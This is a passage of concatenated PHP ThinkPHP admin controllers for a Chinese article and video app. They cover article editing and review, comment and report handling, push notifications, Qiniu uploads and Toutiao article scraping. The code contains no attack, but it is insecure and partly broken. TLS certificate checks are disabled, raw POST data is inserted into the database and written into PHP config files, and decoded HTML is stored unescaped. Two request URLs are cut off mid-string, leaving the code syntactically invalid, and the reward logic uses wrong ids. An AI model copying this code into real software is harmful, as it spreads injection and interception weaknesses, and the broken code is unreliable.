$this->assign('page', $page);

return $this->fetch();

}

public function add(){

$mychannel=input('mychannel');

$mychannel=Db::name('mychannel')->where('id',$mychannel)->find();

if(!$mychannel){

$this->error('模型ID错误');

}

$this->assign('mychannel',$mychannel);

$flags=Db::name('flags')->select();

$this->assign('flags',$flags);

$typeiddb=Db::name('typeid')->order('des desc,id asc')->cache(\_cache('db'))->select();

$this->assign('typeid',get\_tree\_option($typeiddb,0));

$id=input("id");

if(request()->isAjax()){

$post=input('post.');

if(!$post['uid'] || $post['uid']==0){

$post['uid']=1;

}

if($post['weitoutiao']=='1' && input('mychannel')==2){

$image=$post['images'];

if(!$image){

return ['err'=>'请上传图片'];

}

$image=json\_decode($image,true);

$img=[];

foreach ($image as $k => $v) {

$img[]=$v['img'];

}

$post['images']=htmlspecialchars(json\_encode($img));

}

if($post['typeid']<=0){

}

if($post['update\_time']){

$time=strtotime($post['update\_time']);

}else{

$time=time();

}

$post['update\_time']=$time;

if($mychannel['id']==2){

}else if($mychannel['id']==3 || $mychannel['id']==4){

if(!$post['video']){

return ['err'=>'视频地址必须填写'];

}

}else if($mychannel['id']==1){

}else{

return ['err'=>'模型ID不存在'];

}

if(!empty($post['content'])){

$post['content'] = htmlspecialchars\_decode($post['content']);

}

if(!$id){

$post['mychannel']=$mychannel['id'];

if($post['title']){

$titledb=Db::name('article')->where('title',$post['title'])->find();

if($titledb){

return ['err'=>'文章标题已存在'];

}

}

$post['create\_time']=$time;

$db=Db::name('article')->insert($post);

if($db){

$data=['ret'=>'添加成功'];

}else{

$data=['err'=>'添加失败'];

}

}else{

$db=Db::name('article')->where('id',$id)->update($post);

if($db){

$data=['ret'=>'修改成功'];

}else{

$data=['err'=>'修改失败'];

}

}

}else{

if($id){

$name=Db::name('article')->where('id',$id)->find();

if($name){

$this->assign('name',$name);

}else{

$data=['err'=>'id参数错误'];

}

}

$data=$this->fetch();

}

return $data;

}

public function add1(){

$url=url('article/add',['mychannel'=>'1','url'=>'-1']);

$this->redirect($url);

}

public function add2(){

$url=url('article/add',['mychannel'=>'2','url'=>'-1']);

$this->redirect($url);

}

public function add3(){

$url=url('article/add',['mychannel'=>'3','url'=>'-1']);

$this->redirect($url);

}

public function add4(){

$url=url('article/add',['mychannel'=>'4','url'=>'-1']);

$this->redirect($url);

}

public function del(){

if(request()->isAjax()){

$id=input('id');

if($id){

$db=Db::name('article')->delete($id);

if($db){

$data=['ret'=>'删除成功'];

}else{

$data=['err'=>'删除失败'];

}

}else{

$data=['err'=>'id参数错误'];

}

}else{

$data=['err'=>'提交参数错误'];

}

return $data;

}

public function desAll(){

if(request()->isAjax()){

$post=input('post.');

foreach($\_POST['des'] as $k => $v){

$id = intval($k);

$name = intval($v);

Db::name('article')->where('id',$id)->setField('des',$name);

}

$data=['ret'=>'更新排序成功'];

}else{

$data=['err'=>'提交类型错误'];

}

return $data;

}

public function delAll(){

if(request()->isAjax()){

$post=input('post.');

if(input('?post.delAll')){

$post=$post['delAll'];

$db=Db::name('article')->delete($post);

if($db){

$data=['ret'=>'删除成功'];

}else{

$data=['err'=>'删除失败'];

}

}else{

$data=['err'=>'删除失败，未选中数据'];

}

}else{

$data=['err'=>'提交类型错误'];

}

return $data;

}

public function all(){

if(request()->isAjax()){

$post=input('post.');

$type=input('type');

if(input('?post.delAll')){

$post=$post['delAll'];

$db=Db::name('article');

foreach ($post as $k => $v) {

if($type=='del'){

$db->delete($v);

}else{

$db->where('id',$v)->setField('hide',$type);

}

}

if($db){

$data=['ret'=>'删除成功'];

}else{

$data=['err'=>'删除失败'];

}

}else{

$data=['err'=>'删除失败，未选中数据'];

}

}else{

$data=['err'=>'提交类型错误'];

}

return $data;

}

public function flags(){

$data=Db::name('flags')->order('id asc')->select();

$this->assign('data',$data);

return $this->fetch();

}

public function flags\_add(){

$id=input("id");

if(request()->isAjax()){

$post=input('post.');;

if($post){

$time=time();

$post['update\_time']=$time;

if(!$id){

$titledb=Db::name('flags')->where('title',$post['title'])->find();

if($titledb){

return ['err'=>'标题已存在'];

}

$post['create\_time']=$time;

$db=Db::name('flags')->insert($post);

if($db){

$data=['ret'=>'添加成功'];

}else{

$data=['err'=>'添加失败'];

}

}else{

$db=Db::name('flags')->where('id',$id)->update($post);

if($db){

$data=['ret'=>'修改成功'];

}else{

$data=['err'=>'修改失败'];

}

}

}else{

$data=["err"=>'post错误'];

}

}else{

if($id){

$name=Db::name('flags')->where('id',$id)->find();

if($name){

$this->assign('name',$name);

}else{

$data=['err'=>'id参数错误'];

}

}

$data=$this->fetch();

}

return $data;

}

public function flagsDel(){

return;

if(request()->isAjax()){

$id=input('id');

if($id){

$admin=Db::name('article')->where('flags',$id)->find();

if(!$admin){

$db=Db::name('flags')->delete($id);

if($db){

$data=['ret'=>'删除成功'];

}else{

$data=['err'=>'删除失败'];

}

}else{

$data=['err'=>'属性下有文章，请先删除文章对应属性'];

}

}else{

$data=['err'=>'id参数错误'];

}

}else{

$data=['err'=>'提交参数错误'];

}

return $data;

}

public function hide(){

if(request()->isAjax()){

$id=input('id') ? input('id'): '0';

$type=input('type') ? input('type') : '0';

$text=['0'=>'<font color="#f00">禁止</font>','1'=>'<font color="#1ab394">通过</font>','2'=>'审核','3'=>'<font color="#f00">拒绝</font>'];

if($id){

$aritlce=Db::name('article')->where('id',$id)->find();

if($aritlce['uid']){

if($type==0){

\_records($aritlce['uid'],'投稿文章ID：'.$aritlce['id'].'管理员设置隐藏状态');

}else if($type==3){

\_records($aritlce['uid'],'投稿文章ID：'.$aritlce['id'].'拒绝通过');

}else if($type==3){

\_records($aritlce['uid'],'投稿文章ID：'.$aritlce['id'].'管理员设置审核状态');

}

}

if($aritlce['uid'] && $type==1){

$data=DB::name('member\_config')->where("name='articleAdd' or name='articleHide' or name='articleScore' or name='articleNum' or name='articleCode' or name='articleJingyan' or name='articleMoney'")->fetchSql(false)->select();

$articleAdd=$data['0']['text'];

$articleHide=$data['1']['text'];

$articleScore=$data['2']['text'];

$articleNum=$data['3']['text'];

$articleCode=$data['4']['text'];

$articleJingyan=$data['5']['text'];

$articleMoney=$data['6']['text'];

unset($data);

if($articleMoney){

$aritlcejiance=Db::name('member\_records')->where(['type'=>'money','text'=>'投稿奖励ID：'.$aritlce['id'],'data'=>'+'])->value('id');

if(!$aritlcejiance){

\_records($aritlce['uid'],'投稿奖励ID：'.$aritlce['id'],$articleMoney,'money','+');

Db::name('member')->where('id',$aritlce['uid'])->setInc('money',$articleMoney);

}

}

if($articleScore){

$aritlcejiance=Db::name('member\_records')->where(['type'=>'score','text'=>'投稿奖励ID：'.$aritlce['id'],'data'=>'+'])->value('id');

if(!$aritlcejiance){

\_records($aritlce['uid'],'投稿奖励ID：'.$aritlce['id'],$articleScore,'score','+');

Db::name('member')->where('id',$aritlce['id'])->setInc('score',$articleScore);

}

}

if($articleJingyan){

$aritlcejiance=Db::name('member\_records')->where(['type'=>'jingyan','text'=>'投稿奖励ID：'.$aritlce['id'],'data'=>'+'])->value('id');

if(!$articleJingyan){

\_records($aritlce['uid'],'投稿奖励ID：'.$aritlce['id'],$articleJingyan,'jingyan','+');

Db::name('member')->where('id',$this->member['id'])->setInc('jingyan',$articleJingyan);

}

}

\_records($aritlce['uid'],'投稿文章ID：'.$aritlce['id'].'审核通过');

}

$db=Db::name('article')->where('id',$aritlce['id'])->setField('hide',$type);

if($db){

$data=[$text[$type]];

}else{

$data=['删除失败'];

}

}else{

$data=['GET值错误'];

}

}else{

$data=['提交错误'];

}

return $data;

}

public function review(){

$map['hide']=['in','2,3'];

$data=Db::name('article')->where($map)->order('des desc,id desc')->paginate('',false,['query'=>request()->param()]);

$this->assign('data',$data);

$page = $data->render();

$this->assign('page',$page);

return $this->fetch();

}

public function ping(){

$data=Db::name('article\_ping')->order('id desc')->paginate('',false,['query'=>request()->param()]);

$page = $data->render();

$this->assign('data',$data);

$this->assign('page', $page);

return $this->fetch();

}

public function pingAdd(){

$id=input("id/d");

if(request()->isAjax()){

if($id){

$db=Db::name('article')->where('id',$id)->update($post);

if($db){

$data=['ret'=>'修改成功'];

}else{

$data=['err'=>'修改失败'];

}

}

}else{

if($id){

$name=Db::name('article\_ping')->where('id',$id)->find();

$article=Db::name('article')->where('id',$name['aid'])->find();

$pingList=Db::name('article\_ping\_xia')->where('ping\_id',$id)->order('id desc')->paginate('',false,['query'=>request()->param()]);

$page = $pingList->render();

$this->assign('page', $page);

if($name){

$this->assign('article',$article);

$this->assign('name',$name);

$this->assign('pingList',$pingList);

}else{

$data=['err'=>'id参数错误'];

}

}

$data=$this->fetch();

}

return $data;

}

public function pingDel(){

if(request()->isAjax()){

$id=input('id');

if($id){

$db=Db::name('article\_ping')->delete($id);

if($db){

$data=['ret'=>'删除成功'];

}else{

$data=['err'=>'删除失败'];

}

}else{

$data=['err'=>'id参数错误'];

}

}else{

$data=['err'=>'提交参数错误'];

}

return $data;

}

public function pingXaiDel(){

if(request()->isAjax()){

$id=input('id');

if($id){

$db=Db::name('article\_ping\_xia')->delete($id);

if($db){

$data=['ret'=>'删除成功'];

}else{

$data=['err'=>'删除失败'];

}

}else{

$data=['err'=>'id参数错误'];

}

}else{

$data=['err'=>'提交参数错误'];

}

return $data;

}

public function jubao(){

$data=Db::name('jubao')->order('id desc')->paginate('',false,['query'=>request()->param()]);

$page = $data->render();

$this->assign('data',$data);

$this->assign('page', $page);

return $this->fetch();

}

public function jubaoHuifu(){

if(request()->isAjax()){

$id=input('id');

$content=input('content');

if($id){

$db=Db::name('jubao')->where('id',$id)->find();

if($db){

$adminId=Session::get('admin','ffxiangAdmin');

$where['uid']=$db['uid'];

$where['aid']=$db['aid'];

$where['content']=$content;

$where['time']=time();

$where['admin\_id']=$adminId['id'];

$db=Db::name('jubao')->insert($where);

if($db){

$data=['ret'=>'回复成功'];

}else{

$data=['err'=>'回复失败'];

}

}

}else{

$data=['err'=>'id参数错误'];

}

}else{

$data=['err'=>'提交参数错误'];

}

return $data;

}

public function jubaoDel(){

if(request()->isAjax()){

$id=input('id');

if($id){

$db=Db::name('jubao')->delete($id);

if($db){

$data=['ret'=>'删除成功'];

}else{

$data=['err'=>'删除失败'];

}

}else{

$data=['err'=>'id参数错误'];

}

}else{

$data=['err'=>'提交参数错误'];

}

return $data;

}

public function page(){

$data=Db::name('page')->order('id asc,des desc')->select();

$this->assign('data',$data);

return $this->fetch();

}

public function pageAdd(){

$id=input("id");

if(request()->isAjax()){

$post=input('post.');

if(!$id){

if($post['title']){

$titledb=Db::name('page')->where('title',$post['title'])->find();

if($titledb){

return ['err'=>'文章标题已存在'];

}

}

$db=Db::name('page')->insert($post);

if($db){

$data=['ret'=>'添加成功'];

}else{

$data=['err'=>'添加失败'];

}

}else{

$db=Db::name('page')->where('id',$id)->update($post);

if($db){

$data=['ret'=>'修改成功'];

}else{

$data=['err'=>'修改失败'];

}

}

}else{

if($id){

$name=Db::name('page')->where('id',$id)->find();

if($name){

$this->assign('name',$name);

}else{

$data=['err'=>'id参数错误'];

}

}

$data=$this->fetch();

}

return $data;

}

private function get($url,$json=false){

$arrContextOptions=array(

"ssl"=>array(

"verify\_peer"=>false,

"verify\_peer\_name"=>false,

),

);

$html=file\_get\_contents('http:

if($json){

$html=json\_decode($html,true);

}

return $html;

}

private function qiniu($url,$type=''){

if(!$url){

return '';

}

if(!$type){

$type='.jpg';

}

require\_once APP\_PATH . '/../vendor/qiniu/autoload.php';

$db=db::name('member\_config')->where(['type'=>'sdkQiniu'])->cache(\_cache('db'))->select();

$accessKey = $db['0']['text'];

$secretKey = $db['1']['text'];

$auth = new Auth($accessKey, $secretKey);

$bmgr = new BucketManager($auth);

$bucket = $db['2']['text'];

$key = md5($url.rand(11111,999999)) .$type;

list($ret, $err) = $bmgr->fetch($url, $bucket, $key);

if ($err !== null) {

return '';

} else {

return $key;

}

}

public function caiji(){

$url = input('\_url');

if(!$url){

return json(['err'=>'请输入网址']);

}

$id = '';

if(!empty(pathinfo($url)['basename'])){

$id = pathinfo($url)['basename'];

}

if(!$id){

return json(['err'=>'请输入网址2']);

}

preg\_match\_all("/\d+/",$url,$arr);

if(empty($arr['0'])){

return json(['err'=>'id正则获取错误']);

}

$id = $arr['0']['0'];

$mychannel = input('mychannel/d');

if(!$mychannel){

return json(['err'=>'频道mychannel不能为空']);

}

$data = $this->get('toutiao/view/id/'.$id,true);

if(!empty($data['user'])){

$v = $data['user'];

$uid=Db::name('member')->where(['toutiao\_uid'=>$v['id']])->value('id');

if($uid){

$data['uid'] = $uid;

}

}

if($data['mychannel'] == $mychannel){

if($data['image']){

$data['image'] = $this->qiniu($data['image']);

}

if($data['mychannel'] == 1){

$text = $this->get('toutiao/body\_info/id/'.$id);

$data['text'] = $this->\_html\_content($text);

}else if($data['mychannel'] == 2){

$img = [];

foreach ($data['images'] as $k => $v) {

$img[$k]['img'] = $this->qiniu($v['img']);

$v['text'] = strip\_tags($v['text']);

$v['text'] = preg\_replace("/\\r\\n/", '', $v['text']);

$v['text'] = preg\_replace("/\\r/", '', $v['text']);

$v['text'] = preg\_replace("/\s\*/", '', $v['text']);

$img[$k]['text'] = preg\_replace("/\\n/", '', $v['text']);

$img[$k]['text'] = $v['text'];

if(!$data['image'] && $k==1){

$data['image'] = $img[$k]['img'];

}

}

$data['images'] = $img;

}else if($data['mychannel'] == 3){

$data['video'] = $this->qiniu($data['video'],'.mp4');

}

return json(['ret'=>$data]);

}else{

$my = Db::name('mychannel')->where('id',$mychannel)->cache(true)->value('title');

return json(['err'=>'当前频道是<b>'.\_mychannelName($mychannel).'</b>,采集网址频道是<b>'.\_mychannelName($data['mychannel']).'</b>，请输入<b>'.\_mychannelName($mychannel).'频道</b>采集网址']);

}

}

private function \_html\_content($article){

preg\_match\_all("/src=\"(.\*?)\"/", $article,$img);

$image='';

if($img){

foreach ($img[1] as $k => $v) {

$img\_1=$v;

$img\_2=\_imgUrl().$this->qiniu($img\_1,'article');

if($img\_1 && $img\_2){

$article=str\_replace($img\_1,$img\_2,$article);

}

}

}

$article=preg\_replace("/(img\_width.\*?)\"(.\*?)\"/si","",$article);

$article=preg\_replace("/(img\_height.\*?)\"(.\*?)\"/si","",$article);

$article=preg\_replace("/(onerror.\*?)\"(.\*?)\"/si","",$article);

$article=preg\_replace("/(inline.\*?)\"(.\*?)\"/si","",$article);

$article=preg\_replace("/<(p.\*?)>/si","<p>",$article);

$article=preg\_replace("/<(\/?figure.\*?)>/si","",$article);

$article=preg\_replace("/<(\/?a.\*?)>/si","",$article);

$article=preg\_replace("/(data.\*?)\"(.\*?)\"/si","",$article);

$article=preg\_replace("/(width.\*?)\"(.\*?)\"/si","",$article);

$article=preg\_replace("/(alt.\*?)\"(.\*?)\"/si","",$article);

$article=preg\_replace("/(style.\*?)\"(.\*?)\"/si","",$article);

return $article;

}

}

<?php

namespace app\admin\controller;

use app\admin\controller\Common;

use think\Db;

use think\Validate;

use JPush\Client as JPush;

class Apicloud extends Common

{

public function config(){

$config=config();

$this->assign('cfg',$config['apicloud']);

if(request()->isAjax()){

$post=input('post.');

if($post){

$data=$post;

if($data){

$data=var\_export($data, true);

$data=str\_replace("array", "return", $data);

$data=str\_replace("(", "[", $data);

$data=str\_replace(")", "];", $data);

$data="<?php\r\n".$data;

file\_put\_contents(APP\_PATH.'extra/apicloud.php', print\_r($data, true));

$data=['ret'=>'保存成功'];

}else{

$data=['err'=>'保存失败'];

}

}else{

$data=['err'=>'提交参数错误'];

}

}else{

$data=$this->fetch();

}

return $data;

}

private function html($url,$method='GET',$body=''){

$config = config()['apicloud'];

$now = time();

$httpheader = array(

"X-APICloud-AppId: ".$config['appid'],

"X-APICloud-AppKey: ".sha1($config['appid']."UZ".$config['appkey']."UZ".$now).".".$now

);

$curl=curl\_init();

curl\_setopt($curl, CURLOPT\_URL, $url);

curl\_setopt($curl, CURLOPT\_CUSTOMREQUEST, $method);

curl\_setopt($curl, CURLOPT\_HTTPHEADER , array("X-HTTP-Method-Override: $method"));

curl\_setopt($curl, CURLOPT\_HTTPHEADER , $httpheader);

curl\_setopt($curl, CURLOPT\_SSL\_VERIFYPEER, 0);

curl\_setopt($curl, CURLOPT\_SSL\_VERIFYHOST, 0);

curl\_setopt($curl, CURLOPT\_USERAGENT, $\_SERVER['HTTP\_USER\_AGENT']);

curl\_setopt($curl, CURLOPT\_AUTOREFERER, 1);

curl\_setopt($curl, CURLOPT\_POSTFIELDS, $body);

curl\_setopt($curl, CURLOPT\_TIMEOUT, 30);

curl\_setopt($curl, CURLOPT\_HEADER, 0);

curl\_setopt($curl, CURLOPT\_RETURNTRANSFER, 1);

$totalline = curl\_exec($curl);

if (curl\_errno($curl)) {

return 'Errno'.curl\_error($curl);

}

curl\_close($curl);

return $totalline;

}

public function records(){

$map=[];

$search\_name=input('param.title');

if($search\_name){

$map['title'] = ['like','%'.$search\_name.'%'];

}

$db = Db::name('push')->where($map)->order('time desc,id desc')->paginate('',false,['query'=>request()->param()]);

$data = $db->toarray()['data'];

foreach ($data as $k => $v) {

if($v['aid']){

$article = Db::name('article')->field('id,title,description,content,video,mychannel')->find($v['aid']);

$content = $this->\_content($article['description']);

if(!$content){

$content = $this->\_content($article['content']);

}

$data[$k]['title'] = $article['title'];

$data[$k]['content'] = $content;

}

}

$this->assign('data',$data);

$page = $db->render();

$this->assign('page', $page);

return $this->fetch('list');

}

public function add(){

if(request()->isAjax()){

$post=input('post.');

$data['title'] = $post['title'];

$data['content'] = $post['content'];

$data['type'] = $post['type'];

$data['platform'] = $post['platform'];

$data['aid'] = $post['aid'];

$data['jpush\_id'] = $post['jpush\_id'];

if($data['jpush\_id']){

$jpush\_id = Db::name('member\_jpush')->where(['uid'=>$data['jpush\_id']])->value('jpush\_id');

if(!$jpush\_id){

return json(['err'=>'用户ID未绑定推送设备']);

}

$data['jpush\_id'] = $jpush\_id;

}

$url = $this->jpush($data);

if(!empty($url['http\_code']) && $url['http\_code'] == 200){

$data['time'] = time();

Db::name('push')->insert($data);

return json(['ret'=>'推送成功，5分钟内生效']);

}else{

return json(['err'=>'推送失败！错误提示：'.$url['msg']]);

}

return;

$url = $this->html('https:

$url = json\_decode($url,true);

if($url['status'] == 1){

$data['time'] = time();

Db::name('push')->insert($data);

return json(['ret'=>'推送成功，5分钟内生效']);

}else{

return json(['err'=>'推送失败！msg:'.$url['msg']]);

}

}else{

return $this->fetch();

}

}

private function jpush($data){

$config = config()['apicloud'];

$client = new JPush($config['app\_key'], $config['master\_secret']);

$data['aid'] = !empty($data['aid']) ? $data['aid'] : '';

if($data['aid']){

$article = Db::name('article')->field('id,title,description,content,video,mychannel')->find($data['aid']);

}else{

$validate = new Validate(['title|标题' => 'require', 'content|内容' => 'require','type' => 'number|require']);

$validata = ['title' => $data['title'], 'content' => $data['content'], 'type'=>$data['type']];

if (!$validate->check($validata)) {

return ['msg' => $validate->getError(),'http\_code'=>201];

}

}

if($data['platform'] == 1){

$setPlatform = ['ios'];

}else if($data['platform'] == 2){

$setPlatform = ['android'];

}else{

$setPlatform = ['ios','android'];

}

try {

$response = $client->push();

$response->setPlatform($setPlatform);

if($data['jpush\_id']){

$response->addRegistrationId($data['jpush\_id']);

}else{

$response->addAllAudience();

}

if($data['aid']){

$content = $this->\_content($article['description']);

if(!$content){

$content = $this->\_content($article['content']);

}

$response->androidNotification($content, array(

'title' => $article['title'],

'extras' => [

'mychannel'=>$article['mychannel'],

'id'=>$data['aid'],

'video' => \_imgUrl().$article['video'],

],

));

$response->iosNotification($article['title'], array(

'extras' => [

'mychannel'=>$article['mychannel'],

'id'=>$data['aid'],

'video' => \_imgUrl().$article['video'],

],

));

$response->options(['apns\_production'=>true]);

}else{

$response->androidNotification(input('content'), array(

'title' => input('title'),

));

$response->iosNotification(input('title'));

$response->options(['apns\_production'=>true]);

}

$response = $response->send();

return ($response);

} catch (\JPush\Exceptions\APIConnectionException $e) {

return $e;

} catch (\JPush\Exceptions\APIRequestException $e) {

return $e;

}

return;

try {

$pusher = $client->push()

->androidNotification('Hello Android', array(

'title' => 'hello jpush',

'extras' => array(

'key' => 'value',

'jiguang'

),

));

print\_r($client);

} catch (\JPush\Exceptions\APIConnectionException $e) {

print $e;

} catch (\JPush\Exceptions\APIRequestException $e) {

print $e;

}

return;

$push\_payload = $client->push()

->setPlatform('all')

->addAllAudience()

->setNotificationAlert('Hi, JPush');

try {

$response = $push\_payload->send();

print\_r($response);

} catch (\JPush\Exceptions\APIConnectionException $e) {

print $e;

} catch (\JPush\Exceptions\APIRequestException $e) {

print $e;

}

return;

$pusher = $client->push();

$pusher->setPlatform('all');

$pusher->addAllAudience();

$pusher->setNotificationAlert('Hello, JPush');

try {

dump($pusher->send());

} catch (\JPush\Exceptions\JPushException $e) {

dump($e);

}

}

private function \_content($a){

$a = strip\_tags($a);

$a = safe\_replace($a);

$a = \_substr($a,50);

return $a;

}

public function getUsers(){

$config = config()['apicloud'];

$client = new JPush($config['app\_key'], $config['master\_secret']);

$report = $client->report();

$a = $report->getUsers('HOUR','2019-07','2019-08');

dump($a);

}

}

<?php

namespace app\admin\controller;

use app\admin\controller\Common;

use think\Db;

class Platform extends Common

{

public function index(){

$platform=Db::name('platform')->order('des desc,id asc')->select();

#$typedb=get\_tree\_option($typedb,0);

$this->assign('data',$platform);

return $this->fetch();

}

public function add(){

$id=input("id");

if(request()->isAjax()){

$post=input('post.');;

$validate=validate('Platform');

if($validate->check($post)){

$time=time();

$post['update\_time']=$time;

if(!$id){

$post['create\_time']=$time;

$db=Db::name('platform')->insert($post);

if($db){

$data=['ret'=>'添加成功'];

}else{

$data=['err'=>'添加失败'];

}

}else{

$db=Db::name('platform')->where('id',$id)->update($post);

if($db){

$data=['ret'=>'修改成功'];

}else{

$data=['err'=>'修改失败'];

}

}

}else{

$data=["err"=>$validate->getError()];

}

}else{

if($id){

$name=Db::name('platform')->where('id',$id)->find();

if($name){

$this->assign('name',$name);

}else{

$data=['err'=>'id参数错误'];

}

}

$data=$this->fetch();

}

return $data;

}

public function hide(){

$id=input('id');

if(request()->isAjax()){

if($id){

$arra=['0'=>'隐藏','1'=>'显示'];

$type='hide';

$db=Db::name('platform')->where('id',$id)->value('hide');

if($db==1){

$hide=0;

}else{

$hide=1;

}

$db=Db::name('platform')->where('id',$id)->setField($type,$hide);

if($db){

$data=['ret'=>$arra[$hide].'成功','id'=>$hide,'text'=>$arra[$hide]];

}else{

$data=['err'=>$arra[$hide].'失败'];

}

}else{

$data=['err'=>'ID参数错误'];

}

}else{

$data=['err'=>'AJAX参数错误'];

}

return $data;

}

}

<?php

namespace app\admin\controller;

use app\admin\controller\Common;

use think\Cache;

use think\Db;

use Qiniu\Auth as Auth;

use Qiniu\Storage\UploadManager;

class Index extends Common

{

public function index(){

return $this->fetch();

}

public function versions()

{

$versions = Db::name('version')

->order('id', 'desc')

->paginate('', false, ['query' => request()->param()]);

$page = $versions->render();

$this->assign('versions', $versions);

$this->assign('page', $page);

return $this->fetch();

}

public function add\_version()

{

$id = input('param.id');

if (request()->isAjax()) {

$post = input('post.');

if ($post['create\_time']) {

$create\_time = strtotime($post['create\_time']);

} else {

$create\_time = time();

}

$post['create\_time'] = $create\_time;

if (!$id) {

$db = Db::name('version')

->insert($post);

if ($db) {

$data = ['ret' => '添加成功'];

} else {

$data = ['err' => '添加失败'];

}

} else {

$db = Db::name('version')

->where('id', $id)

->update($post);

if ($db) {

$data = ['ret' => '修改成功'];

} else {

$data = ['err' => '修改失败'];

}

}

} else {

if ($id) {

$version = Db::name('version')

->where('id', $id)

->find();

$this->assign('version', $version);

}

$data = $this->fetch();

}

return $data;

}

public function main(){

$jubao=Db::name('jubao')->order('id desc')->where('admin\_id',null)->fetchSql(false)->limit(3)->select();

$this->assign('jubao',$jubao);$this->post();

$ping=Db::name('article\_ping')->order('id desc')->fetchSql(false)->limit(5)->select();

$this->assign('ping',$ping);

return $this->fetch();

}

public function config(){

$config=config();

$this->assign('cfg',$config['config']);

if(request()->isAjax()){

$post=input('post.');

if($post){

$data=$post;

if($data){

$data=var\_export($data, true);

$data=str\_replace("array", "return", $data);

$data=str\_replace("(", "[", $data);

$data=str\_replace(")", "];", $data);

$data="<?php\r\n".$data;

file\_put\_contents(APP\_PATH.'extra/config.php', print\_r($data, true));

$data=['ret'=>'保存成功'];

}else{

$data=['err'=>'保存失败'];

}

}else{

$data=['err'=>'提交参数错误'];

}

}else{

$data=$this->fetch();

}

return $data;

}

public function appConfig(){

$config=config();

$this->assign('cfg',$config['appConfig']);

if(request()->isAjax()){

$post=input('post.');

if($post){

$data=$post;

$data['copyright'] = htmlspecialchars\_decode($data['copyright']);

if($data){

$data=var\_export($data, true);

$data=str\_replace("array", "return", $data);

$data=str\_replace("(", "[", $data);

$data=str\_replace(")", "];", $data);

$data="<?php\r\n".$data;

file\_put\_contents(APP\_PATH.'extra/appConfig.php', print\_r($data, true));

$data=['ret'=>'保存成功'];

}else{

$data=['err'=>'保存失败'];

}

}else{

$data=['err'=>'提交参数错误'];

}

}else{

$data=$this->fetch();

}

return $data;

}

public function cache\_del(){

Cache::clear();

return ['ret'=>'清空成功'];

}

public function upload(){

if(request()->file('image')){

$file = request()->file('image');

$filePath = $file->getRealPath();

if(!$filePath){

exit(json\_encode(['err'=>'非法操作']));

}

$ext = pathinfo($file->getInfo('name'), PATHINFO\_EXTENSION);

$geshi=['jpg','png','gif','jpeg','JPEG','JPG','GIF','PNG'];

if(!in\_array($ext,$geshi)){

exit(json\_encode(['err'=>'图片格式不对，请换张图片吧']));

}

$key =substr(md5($file->getRealPath()) , 0, 5). date('YmdHis') . rand(100, 999999) . '.jpg' ;

require\_once APP\_PATH . '/../vendor/qiniu/autoload.php';

$db=db::name('member\_config')->where(['type'=>'sdkQiniu'])->cache(\_cache('db'))->select();

$accessKey = $db['0']['text'];

$secretKey = $db['1']['text'];

$auth = new Auth($accessKey, $secretKey);

$bucket = $db['2']['text'];

$domain = $db['3']['text'];

$token = $auth->uploadToken($bucket);

$uploadMgr = new UploadManager();

list($ret, $err) = $uploadMgr->putFile($token, $key, $filePath);

if ($err !== null) {

dump($err);

} else {

return $ret['key'];

}

}else{

return $this->fetch();

}

}

public function img\_l(){

if(request()->file('image')){

$file = request()->file('image');

$filePath = $file->getRealPath();

if(!$filePath){

exit(json\_encode(['err'=>'非法操作']));

}

$ext = pathinfo($file->getInfo('name'), PATHINFO\_EXTENSION);

$geshi=['jpg','png','gif','jpeg','JPEG','JPG','GIF','PNG'];

if(!in\_array($ext,$geshi)){

exit(json\_encode(['err'=>'图片格式不对，请换张图片吧']));

}

$key =substr(md5($file->getRealPath()) , 0, 5). date('YmdHis') . rand(100, 999999) . '.jpg' ;

require\_once APP\_PATH . '/../vendor/qiniu/autoload.php';

$db=db::name('member\_config')->where(['type'=>'sdkQiniu'])->cache(\_cache('db'))->select();

$accessKey = $db['0']['text'];

$secretKey = $db['1']['text'];

$auth = new Auth($accessKey, $secretKey);

$bucket = $db['2']['text'];

$domain = $db['3']['text'];

$token = $auth->uploadToken($bucket);

$uploadMgr = new UploadManager();

list($ret, $err) = $uploadMgr->putFile($token, $key, $filePath);

if ($err !== null) {

dump($err);

} else {

return $ret['key'];

}

}else{

return $this->fetch();

}

}

public function img\_r(){

if(request()->file('image')){

$file = request()->file('image');

$filePath = $file->getRealPath();

if(!$filePath){

exit(json\_encode(['err'=>'非法操作']));

}

$ext = pathinfo($file->getInfo('name'), PATHINFO\_EXTENSION);

$geshi=['jpg','png','gif','jpeg','JPEG','JPG','GIF','PNG'];

if(!in\_array($ext,$geshi)){

exit(json\_encode(['err'=>'图片格式不对，请换张图片吧']));

}

$key =substr(md5($file->getRealPath()) , 0, 5). date('YmdHis') . rand(100, 999999) . '.jpg' ;

require\_once APP\_PATH . '/../vendor/qiniu/autoload.php';

$db=db::name('member\_config')->where(['type'=>'sdkQiniu'])->cache(\_cache('db'))->select();

$accessKey = $db['0']['text'];

$secretKey = $db['1']['text'];

$auth = new Auth($accessKey, $secretKey);

$bucket = $db['2']['text'];

$domain = $db['3']['text'];

$token = $auth->uploadToken($bucket);

$uploadMgr = new UploadManager();

list($ret, $err) = $uploadMgr->putFile($token, $key, $filePath);

if ($err !== null) {

dump($err);

} else {

return $ret['key'];

}

}else{

return $this->fetch();

}

}

public function uploads(){

if(request()->isPost()){

$file = request()->file('file');

$filePath = $file->getRealPath();

if(!$filePath){

exit(json\_encode(['err'=>'非法操作']));

}

$ext = pathinfo($file->getInfo('name'), PATHINFO\_EXTENSION);

$geshi=['jpg','png','gif','jpeg','JPEG','JPG','GIF','PNG'];

if(!in\_array($ext,$geshi)){

exit(json\_encode(['err'=>'图片格式不对，请换张图片吧']));

}

$key =substr(md5($file->getRealPath()) , 0, 5). date('YmdHis') . rand(100, 999999) . '.jpg' ;

require\_once APP\_PATH . '/../vendor/qiniu/autoload.php';

$db=db::name('member\_config')->where(['type'=>'sdkQiniu'])->cache(\_cache('db'))->select();

$accessKey = $db['0']['text'];

$secretKey = $db['1']['text'];

$auth = new Auth($accessKey, $secretKey);

$bucket = $db['2']['text'];

$domain = $db['3']['text'];

$token = $auth->uploadToken($bucket);

$uploadMgr = new UploadManager();

list($ret, $err) = $uploadMgr->putFile($token, $key, $filePath);

if ($err !== null) {

dump($err);

} else {

$data=['img'=>$ret['key'],'imgurl'=>\_imgUrl().$ret['key'],'text'=>''];

return json\_encode($data);

}

exit();

$file = request()->file('file');

$info = $file->validate(['ext'=>'jpg,png,gif,jpeg'])->move(ROOT\_PATH . 'public' . DS . 'uploads');

if($info){

$data=$info->getSaveName();

$data=str\_replace("\\","/",$data);

